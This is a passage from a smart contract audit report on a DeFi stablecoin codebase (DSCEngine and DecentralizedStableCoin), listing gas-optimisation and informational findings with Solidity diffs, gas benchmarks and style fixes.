_burnDsc function on DSCEngine can be simplified to avoid extra calls.

Vulnerability Details

Instead of doing a transfer and a burn, you can just use burnFrom.

Impact

Gas impact Overall gas change: -336291 (-2.229%)

testRevertsIfTokenLengthDoesntMatchPriceFeeds() (gas: -40 (-0.022%)) 
testRevertsIfMintFails() (gas: -36694 (-1.805%)) 
testRevertsIfTransferFromFails() (gas: -36694 (-1.876%)) 
testRevertsIfTransferFails() (gas: -36694 (-1.901%)) 
testMustImproveHealthFactorOnLiquidation() (gas: -81010 (-3.427%)) 
testUserStillHasSomeEthAfterLiquidation() (gas: -20737 (-4.160%)) 
testLiquidationPayoutIsCorrect() (gas: -20737 (-4.281%)) 
testLiquidatorTakesOnUsersDebt() (gas: -20737 (-4.289%)) 
testUserHasNoMoreDebt() (gas: -20737 (-4.290%)) 
testCanRedeemDepositedCollateral() (gas: -20737 (-8.240%)) 
testCanBurnDsc() (gas: -20737 (-8.739%)) 
testMustRedeemMoreThanZero() (gas: -20737 (-8.751%)) 
Overall gas change: -336291 (-2.229%)

Tools Used

Manual revision

Recommendations

diff --git a/src/DSCEngine.sol b/src/DSCEngine.sol
index a7a6639..1906a92 100644
--- a/src/DSCEngine.sol
+++ b/src/DSCEngine.sol
@@ -271,12 +271,7 @@ contract DSCEngine is ReentrancyGuard {
      */
     function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
         s_DSCMinted[onBehalfOf] -= amountDscToBurn;
-        bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);
-        // This conditional is hypothtically unreachable
-        if (!success) {
-            revert DSCEngine__TransferFailed();
-        }
-        i_dsc.burn(amountDscToBurn);
+        i_dsc.burnFrom(dscFrom, amountDscToBurn);
     }
 
     function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)

G-10. Ownable and ERC20Burneable implementations arent necesary in DecentralizedStableCoin

Submitted by LaScaloneta.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DecentralizedStableCoin.sol#L39

Summary

An optimization issue has been identified in the DecentralizedStableCoin smart contract. It involves replacing the OpenZeppelin's Ownable contract with a simple owner state variable and removing ERC20Burnable. This will improve gas efficiency and simplify the contract.

Vulnerability Details

While this is not a security vulnerability per se, the current implementation is inefficient and could be improved.

  1. The contract uses the Ownable contract from OpenZeppelin. The Ownable contract is designed to provide a general ownership solution, which can be overkill in many situations. In this case, the DecentralizedStableCoin is always owned by DSCEngine, so a simpler ownership pattern can be used.

  2. The DecentralizedStableCoin contract extends ERC20Burnable, which provides an additional burnFrom method that allows third parties to burn tokens from a user's account (provided they have an allowance). This functionality is not required in the current context.

Impact

This proposed optimization would result in a gas reduction of approximately 0.264%. While this might seem insignificant, it's important to note that in high-volume systems, this could translate to substantial savings.

Moreover, simplifying the contract also makes it easier to understand and maintain, reducing the risk of bugs and vulnerabilities.

Benchmark results

testUserStillHasSomeEthAfterLiquidation() (gas: -1992 (-0.400%)) 
testLiquidationPayoutIsCorrect() (gas: -1992 (-0.411%)) 
testLiquidatorTakesOnUsersDebt() (gas: -1992 (-0.412%)) 
testUserHasNoMoreDebt() (gas: -1992 (-0.412%)) 
testCantLiquidateGoodHealthFactor() (gas: -2204 (-0.622%)) 
testHealthFactorCanGoBelowOne() (gas: -2102 (-0.725%)) 
testCanRedeemDepositedCollateral() (gas: -1893 (-0.752%)) 
testCanBurnDsc() (gas: -1893 (-0.798%)) 
testMustRedeemMoreThanZero() (gas: -1911 (-0.806%)) 
testProperlyReportsHealthFactor() (gas: -2102 (-1.000%)) 
testCanMintDsc() (gas: -2080 (-1.018%)) 
testCanMintWithDepositedCollateral() (gas: -2080 (-1.024%)) 
testRevertsIfRedeemAmountIsZero() (gas: -2102 (-1.044%)) 
testRevertsIfBurnAmountIsZero() (gas: -2102 (-1.045%)) 
testRevertsIfMintAmountIsZero() (gas: -2102 (-1.045%)) 
testCantBurnMoreThanYouHave() (gas: -2420 (-4.034%)) 
testMustBurnMoreThanZero() (gas: -2420 (-4.035%)) 
testCantMintToZeroAddress() (gas: -2230 (-17.922%)) 
testMustMintMoreThanZero() (gas: -2230 (-18.488%)) 
Overall gas change: -39821 (-0.264%)

Tools Used

forge snapshot --diff

Recommendations

It's recommended to replace the Ownable contract with a simple owner state variable. This will allow to remove the ERC20Burnable and simplifying the burn method.

diff --git a/src/DecentralizedStableCoin.sol b/src/DecentralizedStableCoin.sol
index d3652a5..58cd9b7 100644
--- a/src/DecentralizedStableCoin.sol
+++ b/src/DecentralizedStableCoin.sol
@@ -36,14 +36,19 @@ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
  * This is the contract meant to be governed by DSCEngine. This contract is just the ERC20 implementation of our stablecoin system.
  *
  */
-contract DecentralizedStableCoin is ERC20Burnable, Ownable {
+contract DecentralizedStableCoin is ERC20 {
+    address private immutable i_owner;
+
     error DecentralizedStableCoin__MustBeMoreThanZero();
     error DecentralizedStableCoin__BurnAmountExceedsBalance();
     error DecentralizedStableCoin__NotZeroAddress();
 
-    constructor() ERC20("DecentralizedStableCoin", "DSC") {}
+    constructor(address _owner) ERC20("DecentralizedStableCoin", "DSC") {
+        i_owner = _owner;
+    }
 
-    function burn(uint256 _amount) public override onlyOwner {
+    function burn(uint256 _amount) external  {
+        require(i_owner == msg.sender, "Only owner can burn");
         uint256 balance = balanceOf(msg.sender);
         if (_amount <= 0) {
             revert DecentralizedStableCoin__MustBeMoreThanZero();
@@ -51,10 +56,11 @@ contract DecentralizedStableCoin is ERC20Burnable, Ownable {
         if (balance < _amount) {
             revert DecentralizedStableCoin__BurnAmountExceedsBalance();
         }
-        super.burn(_amount);
+        _burn(msg.sender, _amount);
     }
 
-    function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
+    function mint(address _to, uint256 _amount) external returns (bool) {
+        require(i_owner == msg.sender, "Only owner can mint");
         if (_to == address(0)) {
             revert DecentralizedStableCoin__NotZeroAddress();
         }
@@ -64,4 +70,8 @@ contract DecentralizedStableCoin is ERC20Burnable, Ownable {
         _mint(_to, _amount);
         return true;
     }
+
+    function owner() external view returns (address) {
+        return i_owner;
+    }
 }

diff --git a/test/unit/DecentralizedStablecoinTest.t.sol b/test/unit/DecentralizedStablecoinTest.t.sol
index e745c53..94c8844 100644
--- a/test/unit/DecentralizedStablecoinTest.t.sol
+++ b/test/unit/DecentralizedStablecoinTest.t.sol
@@ -10,7 +10,7 @@ contract DecentralizedStablecoinTest is StdCheats, Test {
     DecentralizedStableCoin dsc;
 
     function setUp() public {
-        dsc = new DecentralizedStableCoin();
+        dsc = new DecentralizedStableCoin(address(this));
     }
 
     function testMustMintMoreThanZero() public {

diff --git a/script/DeployDSC.s.sol b/script/DeployDSC.s.sol
index 24192fb..a1b0aba 100644
--- a/script/DeployDSC.s.sol
+++ b/script/DeployDSC.s.sol
@@ -21,10 +21,14 @@ contract DeployDSC is Script {
         priceFeedAddresses = [wethUsdPriceFeed, wbtcUsdPriceFeed];
 
         vm.startBroadcast(deployerKey);
-        DecentralizedStableCoin dsc = new DecentralizedStableCoin();
-        DSCEngine engine = new DSCEngine(tokenAddresses, priceFeedAddresses, address(dsc));
 
-        dsc.transferOwnership(address(engine));
+        address predictedEngine = 0xdBc6bEB03Bd0829E8f48A86D121d448c364D3983;
+
+        DecentralizedStableCoin dsc = new DecentralizedStableCoin(predictedEngine);
+        
+        DSCEngine engine = new DSCEngine{salt: keccak256("predictEngine")}(tokenAddresses, priceFeedAddresses, address(dsc));
+
+        //dsc.transferOwnership(address(engine));
         vm.stopBroadcast();
         return (dsc, engine, config);
     }

Moreover, corresponding changes should be made in the tests and deployment script. Note that in the new constructor, the owner's address needs to be provided.

This proposed changes improve the contract's efficiency, clarity and maintainability, and reduces the risk of potential issues or vulnerabilities.

G-11. ++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops

Submitted by nmirchev8, jnrlouis, 0xNiloy, 0xSafeGuard, ptsanev, Mlome, discardedaccount, sobieski, 0xyPhilic, Rotcivegaf, ch0bu, xAlismx, souilos, ZedBlockchain, TheSchnilch, 33audits, castleChain, 97Sabit, MaanVader, Aarambh, InAllHonesty, tsvetanovv, asuiTouthang, neocrao, TorpedopistolIxc41, pacelliv, chaos304, 0xackermann, mgf15, SMA4, Qiezie, Dharma, pks27, Ericselvig, TheSavageTeddy, PratRed, emrekocak, SAQ, MrLegend, 0xadarsh, xfu, owade, ni8mare, 0xScourgedev, 0xSCSamurai, SolSaver. Selected submission by: SolSaver.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol

Summary

++i/i++ should be unchecked{++i}/unchecked{i++} when it is not possible for them to overflow, as is the case when used in for- and while-loops

Vulnerability Details

The unchecked keyword is new in solidity version 0.8.0, so this only applies to that version or higher, which these instances are. This saves 30-40 gas per loop

Instances (2):

File: src/DSCEngine.sol

119:         for (uint256 i = 0; i < tokenAddresses.length; i++) {

355:         for (uint256 i = 0; i < s_collateralTokens.length; i++) {


Link to code - https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/tree/main/src/DSCEngine.sol

Tools Used

Code Review using VSCode

Recommendations

Use unchecked{++i}/unchecked{i++} in loops

G-12. No amountCollateral > balance check

Submitted by nmirchev8, nisedo, 33audits, 0xPublicGoods, iroh. Selected submission by: nisedo.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L135

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L149

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L169

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L183

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L282

Summary

No amountCollateral > balance check

Vulnerability Details

There is a moreThanZero modifier to unsure that the user won't input 0 as amountCollateral but there isn't any check to ensure that the user is inputting an amountCollateral <= to his balance.

Impact

The transaction will fail is the user inputs an amountCollateral > to his balance.

Tools Used

Manual review

Recommendations

Add a if or require check to unsure user is inputting amountCollateral <= to his balance.

G-13. Constants should be be used for hardcoded values

Submitted by akhilmanga, sobieski, 0xbug, castleChain, ABA, charlesCheerful, Bbash, neocrao, Ericselvig, SolSaver. Selected submission by: ABA.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L331

Description

Constants should be be used for hardcoded values, especially if the constants already exist, as it is in this case in DSCEngine.

    uint256 private constant PRECISION = 1e18;

In DSCEngine::_calculateHealthFactor the 1e18 can be safely (and contextually) replaced with the already declared PRECISION constant.

        return (collateralAdjustedForThreshold * 1e18) / totalDscMinted;

Recommend Mitigation

Use the PRECISION constant instead of 1e18.

G-14. [L-02] It is not specified which token is not allowed

Submitted by akhilmanga, pina. Selected submission by: pina.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L55

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L104

Summary

The error DSCEngine__NotAllowedToken() should include the address of the disallowed token, to make it easier for the user or dev to see what token is throwing the error.

Vulnerability Details

The use of errors should describe the situation that presents the error, in this case the error DSCEngine__NotAllowedToken() error does not include the address of the token that is not allowed, even when the modifier that uses it is passed this address by parameter.

Impact

Low

Tools Used

Manual code review

Recommendations

Change for :

- `error DSCEngine__NotAllowedToken()`
+ `error DSCEngine__NotAllowedToken(address token)`

and

   modifier isAllowedToken(address token) {
        if (s_priceFeeds[token] == address(0)) {
-            revert DSCEngine__NotAllowedToken();
+            revert DSCEngine__NotAllowedToken(token);
        }
        _;
    }


G-15. DSC Mint will either return true or revert, thus checking minted status in mintDcs is unnecessary

Submitted by akhilmanga, JohnnyTime, chainNue, Aamir. Selected submission by: chainNue.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L202-L204

Summary

DSC Mint will either return true or revert, thus checking minted status in mintDcs is unnecessary

Vulnerability Details

Whe minting DSC via DSCEngine, there is a check status if it's minted or not. If it's return false, then it will revert with DSCEngine__MintFailed.

But if we check on DecentralizedStableCoin contract, the mint function will either return true or revert. So the previous check on mintDsc is useless.

File: DSCEngine.sol
197:     function mintDsc(uint256 amountDscToMint) public moreThanZero(amountDscToMint) nonReentrant {
198:         s_DSCMinted[msg.sender] += amountDscToMint;
199:         // if they minted too much ($150 DSC, $100 ETH)
200:         _revertIfHealthFactorIsBroken(msg.sender);
201:         bool minted = i_dsc.mint(msg.sender, amountDscToMint);
202:         if (!minted) {
203:             revert DSCEngine__MintFailed();
204:         }
205:     }

File: DecentralizedStableCoin.sol
57:     function mint(address _to, uint256 _amount) external onlyOwner returns (bool) {
58:         if (_to == address(0)) {
59:             revert DecentralizedStableCoin__NotZeroAddress();
60:         }
61:         if (_amount <= 0) {
62:             revert DecentralizedStableCoin__MustBeMoreThanZero();
63:         }
64:         _mint(_to, _amount);
65:         return true;
66:     }

Impact

Will save a bit of deployment gas, and cleanup unreachable code

Tools Used

Manual analysis

Recommendations

Remove the minted check, to revert when mint failed

G-16. Spelling errors

Submitted by JohnLaw, ZedBlockchain, TheSchnilch, Bbash, 0xPublicGoods, pontifex. Selected submission by: Bbash.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L40

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L210

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L220

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L224

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L365

Summary

There are numerous instances throughout the codebase where spelling errors have been encountered.

Vulnerability Details

Spelling errors should be strictly avoided.

Instances:

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L40

   @audit change Algoritmically to Algorithmically
 * - Algoritmically Stable

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L210

   @audit change you to your
 * you DSC but keep your collateral in.

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L220

   @audit change users to user's
 * @param debtToCover The amount of DSC you want to burn to improve the users health factor

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L224

  @audit change incentive to incentivize 
 * @notice A known bug would be if the protocol were 100% or less collateralized, then we wouldn't be able to incentive the liquidators. 

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L365

     @audit change CL to Chainlink
    // The returned value from CL will be 1000 * 1e8

Impact

The prevention of spelling errors prevents confusion and also improves readability.

Tools Used

Manual review and VS Code

Recommendations

Correct the spelling errors.

G-17. Non Critical Issues:Discrepancy between code and comments

Submitted by 0xAxe.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L346

Summary

  • The code implementation does not match the description provided in the corresponding comments.

Vulnerability Details

  • During the auditing process, I noticed this comment: // ($10e18 * 1e18) / ($2000e8 * 1e10). Then, I substituted it into the calculation formula (usdAmountInWei * PRECISION) / (uint256(price) * ADDITIONAL_FEED_PRECISION) for computation.
  • In the end, I found that the content of this comment is incorrect. It should be $10e8 instead of $10e18. Considering $2000e8, it can be inferred that it should be $10e8.

Tools Used

  • Manual Review

Recommendations

  • Update the comments to keep them consistent.
File src/DSCEngine.sol

- 346        // ($10e18 * 1e18) / ($2000e8 * 1e10)
+ 346        // ($10e8 * 1e18) / ($2000e8 * 1e10)

G-18. The nonReentrant modifier should occur before all other modifiers

Submitted by 0xSmartContract, ch0bu, neocrao, mau, owade, SolSaver. Selected submission by: mau.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L149

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L183

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L229

Summary

This is a best-practice to protect against reentrancy in other modifiers

Tools Used

Manual Review

G-19. Underscore function arguments

Submitted by ZedBlockchain.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DecentralizedStableCoin.sol

Summary

Lack consistency function arguments structure e.g underscores _

Vulnerability Details

DSCEngine.sol does not use underscore _ e.g _to, _amount function arguments however DecentralizedStableCoin.sol has that format instead

Impact

Informational: This leads to inconsistency in code affecting code quality

Tools Used

Manual Analysis

Recommendations

It is recommended to be consistent and prefer _ to all function arguments across all relevant functions of all relevant contracts in project. If underscore not desired then ensure contracts follow same style and do not use them.

G-20. Better Consistently Named Custom Errors

Submitted by ZedBlockchain. Selected submission by: ZedBlockchain.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L40

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L41

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DecentralizedStableCoin.sol#L42C5-L42C53

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L54

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L53

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L55

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L56

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L57

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L58

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L59

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L60

Summary

Custom errors need to be descriptive and follow consistent format in code. This is not the case with the errors in all contracts in scope

Vulnerability Details

As dicussed in other finding on Custom Error ambiguity. It is necessary for Custom Errors to be clear about what they specify, mean, are enforcing, checking, requiring or preventing etc. Naming can be more aligned across the Custom Errors used in the contracts. The naming is not consistent and can be improved for clarity

Impact

Informational: This can lead to confusion for debugging, offchain monitoring, tooling,error analysis and maintainability of code. If Custom Error is not clear it may be misinterpreted incorrectly and may even lead to more errors in code as developers make wrong assumptions about the errors intentions.

Tools Used

Manual Analysis

Recommendations

Following on from above, Custom errors can be named more aligned, shorter and more descriptive and consistent e.g language of ‘Not’ or of ‘Must’ to emphasize what went wrong e.g ‘Must’ , ‘Is’, ‘Not’, ‘Only’ ‘IsOk’ or end with ‘Failed’ etc DecentralizedStableCoin.sol DecentralizedStableCoin__MustBeMoreThanZero() DecentralizedStableCoin__MustNotExceedBalance() DecentralizedStableCoin__MustNotBeZeroAddress(); Or ‘Not’ a requirement format DecentralizedStableCoin__NotMoreThanZero() DecentralizedStableCoin__NotLessThanBalance() DecentralizedStableCoin__NotDifferentToZeroAddress(); DSCEngine.sol consistent use of 'Must' language as in below DSCEngine__NeedsMoreThanZero() -> DSCEngine__MustBeMoreThanZero() DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength()-> DSCEngine_MustBeSameLengthTokenAndPriceFeedAddresses() DSCEngine__NotAllowedToken() -> DSCEngine__MustBeAllowedToken() DSCEngine__BreaksHealthFactor(uint256 healthFactor) -> DSCEngine__MustNotBreakHealthFactor(uint256 healthFactor); DSCEngine__HealthFactorOk() -> DSCEngine__HealthIsFactorOk() DSCEngine__HealthFactorNotImproved() -> DSCEngine__MustImproveHealthFactor() Above a just illustrative examples of how to ensure alignment of naming

G-21. Combine Multiple Mapping Address

Submitted by souilos, 97Sabit, ZedBlockchain, larsson, Ericselvig, xfu. Selected submission by: ZedBlockchain.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L78

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L79

Summary

Combine multiple address mappings

Vulnerability Details

DSCEngine.sol line 78 and 79 mapping(address user => mapping(address token => uint256 amount)) private s_collateralDeposited; mapping(address user => uint256 amountDscMinted) private s_DSCMinted; Above can be combined into single mapping

Impact

Gas: Instead of having 2 mappings we can combine into a single mapping of struct for the user addresses data We will make use on a single mapping instead of 2 saving the computation, hashing of mapping storage slots computations and saving storage costs. Also since we have 2 tokens we can also remove the inner mapping ==> mapping(address token => uint256 amount to add seperate amounts deposited into user struct

Tools Used

Manual Analysis

Recommendations

struct User { address user; uint256 amountWBTCDeposited; uint256 amountWETHDeposited; uint256 amountDSCMinted; } mapping(address user => User) userInfo;

G-22. [G-01] - Use do-while loop instead of for-loop to save users gas cost.

Submitted by Bad, 97Sabit, pxng0lin, alymurtazamemon, 0xsandy. Selected submission by: alymurtazamemon.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L118

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L353-L357

Details

do-while does not check the first condition and prevents the assembly from executing lots of opcodes needed for conditions checks and all these places are right for it because these all always execute the code inside loops on the first condition.

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L118

Deployment Cost

Calculation TypeBeforeAfterGas Saved
Avg1004332100427458
         // For example ETH / USD, BTC / USD, MKR / USD, etc
-        for (uint256 i = 0; i < tokenAddresses.length; i++) {
+        uint256 i;
+
+        do {
             s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
             s_collateralTokens.push(tokenAddresses[i]);
-        }
+            i++;
+        } while (i < tokenAddresses.length);
+
         i_dsc = DecentralizedStableCoin(dscAddress);

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol#L353-L357

Calculation TypeBeforeAfterGas Saved
Avg4235642211145
         // the price, to get the USD value
-        for (uint256 i = 0; i < s_collateralTokens.length; i++) {
+        uint256 i;
+        do {
             address token = s_collateralTokens[i];
             uint256 amount = s_collateralDeposited[user][token];
             totalCollateralValueInUsd += getUsdValue(token, amount);
-        }
+            i++;
+        } while (i < s_collateralTokens.length);
+
         return totalCollateralValueInUsd;

G-23. Redundant check for transfer success

Submitted by sobieski.

Summary

Inside the _burnDSC method, DSCEngine contract checks for success of transferFrom call and reverts if it is false:

 bool success = i_dsc.transferFrom(dscFrom, address(this), amountDscToBurn);
// This conditional is hypothtically unreachable
if (!success) {
    revert DSCEngine__TransferFailed();
}

However, if the transferFrom method will not succeed, it will revert. In other case it will always return true. Therefore this check is redundant and can be removed for gas optimization.

Vulnerability Details

n/a

Impact

Unnecessary gas consumption

Tools Used

Manual review

Recommendations

Remove the success check

G-24. Misleading comment in DSCEngine._healthFactor

Submitted by sobieski.

Summary

The _healthFactor method of DSCEngine contract is preceeded by the following comment:

/*
* Returns how close to liquidation a user is
* If a user goes below 1, then they can get liquidated
*/
function _healthFactor(address user) private view returns (uint256) {
    (uint256 totalDscMinted, uint256 collateralValueInUsd) = _getAccountInformation(user);
    return _calculateHealthFactor(totalDscMinted, collateralValueInUsd);
}

The comment implies that the minimal acceptable health factor for the user is equal to 1. This is not true - the MIN_HEALTH_FACTOR constant is equal to 1e18. Therefore this comment is misleading and in contradiction to the actual contract's logic.

Vulnerability Details

n/a

Impact

n/a

Tools Used

Manual review

Recommendations

Change the value in the comment to 1e18

G-25. Prefer array assignment over pushing elements in for-loops

Submitted by TheSchnilch, 0xFEll, mahyar, alymurtazamemon. Selected submission by: TheSchnilch.

It is more cost-effective to directly assign tokenAddresses to s_collateralTokens.

Saving on gas based on the number of elements in tokenAddresses: (was measured without gas optimizer)

1 Element in tokenAddresses2 Elements in tokenAddresses3 Elements in tokenAddresses
gas saved-178119416

If there is only one element in tokenAddresses, this method would cost more because using one .push() is cheaper than directly assigning the array. But after the first .push(), each subsequent .push() operation would incur an additional deployment gas cost of 297 gas for each additional element, if the array is not directly assigned. Therefore, even with only two elements, it is more cost-effective to directly assign the array.

Before:

File src/DSCEngine.sol
112:    constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
113:        // USD Price Feeds
114:        if (tokenAddresses.length != priceFeedAddresses.length) {
115:            revert DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength();
116:        }
117:        // For example ETH / USD, BTC / USD, MKR / USD, etc
118:        for (uint256 i = 0; i < tokenAddresses.length; i++) {
119:            s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
120:            s_collateralTokens.push(tokenAddresses[i]); //Pushing each individual element into the array
121:        }
122:        i_dsc = DecentralizedStableCoin(dscAddress);
123:    }

After:

File src/DSCEngine.sol
112:    constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
113:        // USD Price Feeds
114:        if (tokenAddresses.length != priceFeedAddresses.length) {
115:            revert DSCEngine__TokenAddressesAndPriceFeedAddressesMustBeSameLength();
116:        }
117:        // For example ETH / USD, BTC / USD, MKR / USD, etc
118:        for (uint256 i = 0; i < tokenAddresses.length; i++) {
119:            s_priceFeeds[tokenAddresses[i]] = priceFeedAddresses[i];
120:        }
121:        s_collateralTokens = tokenAddresses; //Assign the array directly
122:        i_dsc = DecentralizedStableCoin(dscAddress);
123:    }

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/d1c5501aa79320ca0aeaa73f47f0dbc88c7b77e2/src/DSCEngine.sol#L120C1-L120C56

G-26. [I-1] NatSpec @param is missing

Submitted by 0xbug, tsar. Selected submission by: 0xbug.

Relevant GitHub Links

https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol

Instances (33):

File: https://github.com/Cyfrin/2023-07-foundry-defi-stablecoin/blob/main/src/DSCEngine.sol

- 112:     constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
+ 112: // @param tokenAddresses

- 112:     constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
+ 112: // @param priceFeedAddresses

- 112:     constructor(address[] memory tokenAddresses, address[] memory priceFeedAddresses, address dscAddress) {
+ 112: // @param dscAddress

- 212:     function burnDsc(uint256 amount) public moreThanZero(amount) {
+ 212: // @param amount

- 272:     function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
+ 272: // @param amountDscToBurn

- 272:     function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
+ 272: // @param onBehalfOf

- 272:     function _burnDsc(uint256 amountDscToBurn, address onBehalfOf, address dscFrom) private {
+ 272: // @param dscFrom

- 282:     function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
+ 282: // @param from

- 282:     function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
+ 282: // @param to

- 282:     function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
+ 282: // @param tokenCollateralAddress

- 282:     function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
+ 282: // @param amountCollateral

- 297:     function _getAccountInformation(address user)
+ 297: // @param user

- 310:     function _healthFactor(address user) private view returns (uint256) {
+ 310: // @param user

- 317:     function _revertIfHealthFactorIsBroken(address user) internal view {
+ 317: // @param user

- 324:     function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
+ 324: // @param totalDscMinted

- 324:     function _calculateHealthFactor(uint256 totalDscMinted, uint256 collateralValueInUsd)
+ 324: // @param collateralValueInUsd

- 340:     function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {
+ 340: // @param token

- 340:     function getTokenAmountFromUsd(address token, uint256 usdAmountInWei) public view returns (uint256) {
+ 340: // @param usdAmountInWei

